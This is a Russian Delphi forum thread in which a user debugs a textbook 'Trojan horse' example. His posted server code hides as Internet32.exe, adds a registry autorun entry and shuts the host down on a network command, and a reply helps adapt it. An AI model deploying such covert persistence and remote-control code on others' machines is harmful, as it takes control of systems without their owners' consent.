Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 02.04.2013, 20:57   #1
demiancz
Форумчанин
 
Регистрация: 28.09.2010
Сообщений: 246
По умолчанию Троянский конь из книги Фленова

Сразу скажу что меня интересует не написание троянов, а сам принцип работы в сети.
Взял книгу Фленова "Делфи глазами хакера" и попробовал испытать исходники и темы ""Троянский конь". На одном компе поставил и запустил серверную программу, а на втором клиентскую. Но при нажатии на кнопку ничего не произошло.
Пробовал и имя компьютера вводить в Edit и перекомпилировал проект что бы вводить IP (поменял ClientSocketl.Host на ClientSocketl.Addres) и менял EWX_SHUTDOWN на EWX_FORCE, но результата никакого.
Прошу помощи у тех кто читал этот пример и пробовал что то подобное проделать.
Возможно информация о компах на которых запускалась программа поможет:
1. Клиентская на Windows XP SP3, а серверная на Windows 7
2. Подключение к интернету осуществляется через прокси-сервер (но это врядли должно играть роль так как оба компьютера подключены по локальной сети). Пробовал вводить IP который выдает RAdmin и тот который выдает 2ip.ру результата никакого
3. Компьютеры без файервола. Антивирус не ругается.
Вероятнее всего программа просто не подключается к серверу и потому не происходит перезагрузка компьютера. Но в чем проблема и как ее найти не знаю. Помогите пожалуйста.
Смотреть фильмы HD Фильмы для планшетов
demiancz вне форума Ответить с цитированием
Старый 02.04.2013, 21:33   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
меня интересует не написание троянов, а сам принцип работы в сети.
Ну да ну да... Конечно...
А ты не хочешь для начала просто написать что-то наподобие чата?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 02.04.2013, 21:35   #3
demiancz
Форумчанин
 
Регистрация: 28.09.2010
Сообщений: 246
По умолчанию

ДЫк чат тоже не сконектится. Если что то блокирует соединение. Суть проблемы одна. Почему то не видит клиент сервер.
Смотреть фильмы HD Фильмы для планшетов
demiancz вне форума Ответить с цитированием
Старый 02.04.2013, 21:44   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
ДЫк чат тоже не сконектится.
А ты сначала его напиши, а потом говори. Код чата покажи.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 02.04.2013, 21:56   #5
demiancz
Форумчанин
 
Регистрация: 28.09.2010
Сообщений: 246
По умолчанию

Так в этой же книге на 162 странице пример чата.
Слушайте я уже понял что вы том что я прошу помочь ну никак не сможете так как не знаете решения проблемы. Потому давайте не переводить тему в флудильню. А отфутболить каждый умеет, мол иди поучи что то другое, не дорос еще для этого.
Смотреть фильмы HD Фильмы для планшетов
demiancz вне форума Ответить с цитированием
Старый 03.04.2013, 12:34   #6
Kix.IV
Участник клуба
 
Регистрация: 11.08.2012
Сообщений: 1,226
По умолчанию

Если ты действительно хочешь, что бы тебе помогли, то выложи код. Ибо качать книгу ради тебя, лично я не стану.
Kix.IV вне форума Ответить с цитированием
Старый 03.04.2013, 19:19   #7
demiancz
Форумчанин
 
Регистрация: 28.09.2010
Сообщений: 246
По умолчанию

Код программы клиент
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
clientsocket1.Address:=edit1.text;
clientsocket1.active:=true;
clientsocket1.Socket.SendText('R');
clientsocket1.active:=false;
end;
Код сервера
Код:
procedure TForm1.FormCreate(Sender: TObject);
var regini:treginifile;
begin
regini:=treginifile.create('Software');
regini.rootkey:=hkey_local_machine;
regini.openkey('Software',true);
regini.openkey('Microsoft',true);
regini.openkey('Windows',true);
regini.openkey('CurrentVersion',true);
regini.writestring('RunServices','Internet32.exe',Application.exename);
regini.free;
ServerSocket1.active:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
var action:tcloseaction;

begin
serversocket1.active:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
 s:String;
begin
 s:= Socket.ReceiveText;
 if s='R' then
  ExitWindowsEx(EWX_SHUTDOWN,0);
end;
При вводе в поле Edit1 IP-адреса выскакивает ошибка: Asynchronous socket error 10061
Порт 1540 ServerSocket1 и ClientSocket1. Пробовал менять на 1200 - ошибка таже.
Сервер ставлю на ноутбук с Виндой 7, а клиент на компе с виндой XP. Через сервис 2ип.ру узнаю IP который и ввожу в поле Edit1.
Смотреть фильмы HD Фильмы для планшетов
demiancz вне форума Ответить с цитированием
Старый 03.04.2013, 19:30   #8
bakanaev
Форумчанин
 
Регистрация: 27.03.2012
Сообщений: 438
По умолчанию

Цитата:
Через сервис 2ип.ру узнаю IP который и ввожу в поле Edit1.
Ах) IP должен быть прямы, т.е постоянным
Вообще подключи их по локалке или wifi, и ip'ы соответствующие вбивай.
Про АВ и файрвол не забывай

Последний раз редактировалось bakanaev; 03.04.2013 в 19:33.
bakanaev вне форума Ответить с цитированием
Старый 03.04.2013, 19:43   #9
demiancz
Форумчанин
 
Регистрация: 28.09.2010
Сообщений: 246
По умолчанию

Так в том то и дело что я пытался вчера на работе проделать такое же с двумя компами подключенными по локалке. Вводил IP который выдает RAdmin и менял
Код:
clientsocket1.Address:=edit1.text;
на
Код:
clientsocket1.Host:=edit1.text;
и вводил имя компа в локальной сети. Но на работе вообще ничего не происходило. Ошибок никаких не выскакивало, но и комп не перезагружался (это должно было бы произойти если бы все работало бы)
Сейчас попробую через Wi-Fi подключить ноут к интернету и попробую тот же трюк.

Попробовал через Wi-fi
IP узнавал через cmd -> ipconfig
При нажатии на кнопку вообще ничего не происходит. Ни ошибок, ни перезагрузки.

нашел на ютубе другой пример трояна с использованием Indy. Этот пример работает!!!
Код клиента
Код:
procedure TForm1.Button1Click(Sender: TObject);
begin
idTCPClient1.Host := Edit1.Text;
idTCPClient1.Port := 8090;
idTCPClient1.Connect;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
idTCPClient1.Disconnect;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
idtcpclient1.IOHandler.WriteLn('cmd');
end;
Код сервера
Код:
procedure TForm1.FormCreate(Sender: TObject);
begin
IdTCPServer1.Active := true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
IdTCPServer1.Active := false;
end;

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var s:string;
begin
if Athread.Connection.ReadLn = ('cmd') then
ShowMessage ('Тест прошол удачно');
end;
Так как вы и писали: подключил ноут через wifi и запустил на нем сервер. На компе запустил клиент. Нажал на кнопку "Подключиться" и затем на кнопку "Послать команду". На ноуте выскочило "Тес прошол удачно". Значит все работает.
Почему же пример из книги не работает?
Смотреть фильмы HD Фильмы для планшетов

Последний раз редактировалось Stilet; 03.04.2013 в 21:19.
demiancz вне форума Ответить с цитированием
Старый 04.04.2013, 20:29   #10
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Вы в каком Delphi компилируете пример Фленова? Он его на D7 писал. Если у вас Delphi больше этой версии то попробуйте в проекте Internat32, в сервере поменяйте в переменной S значение String на AnsiString, наверное он неможет прочитать комманду которая попадает в переменную S.
Возможно вся проблема в этих значениях, в строковых параметрах такое бывает когда версии Delphi разные.

Код:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
 s:String;  поменяйте на S: AnsiString;
begin
 s:= Socket.ReceiveText;
И пример то что вы написали ниже, в нем можно тоже самое сделать, вместо ShowMessage ('Тест прошол удачно'); написать ExitWindowsEx(EWX_SHUTDOWN,0);

Последний раз редактировалось Aliens_wolfs; 04.04.2013 в 23:15.
Aliens_wolfs вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
задача Конь и Ферзь Leopold8220 Паскаль, Turbo Pascal, PascalABC.NET 0 13.02.2013 20:05
Помогите найти биографию Михаила Фленова serega3812 Свободное общение 62 04.09.2012 22:23
На шахматной доске определить поля, в которые может попасть конь из указанной позиции. ValeriySergeevich Помощь студентам 0 24.02.2012 22:31
Конь анна2709 Помощь студентам 1 12.04.2011 21:07
Диск к книге Михаила Фленова sysyman Свободное общение 19 19.05.2009 11:21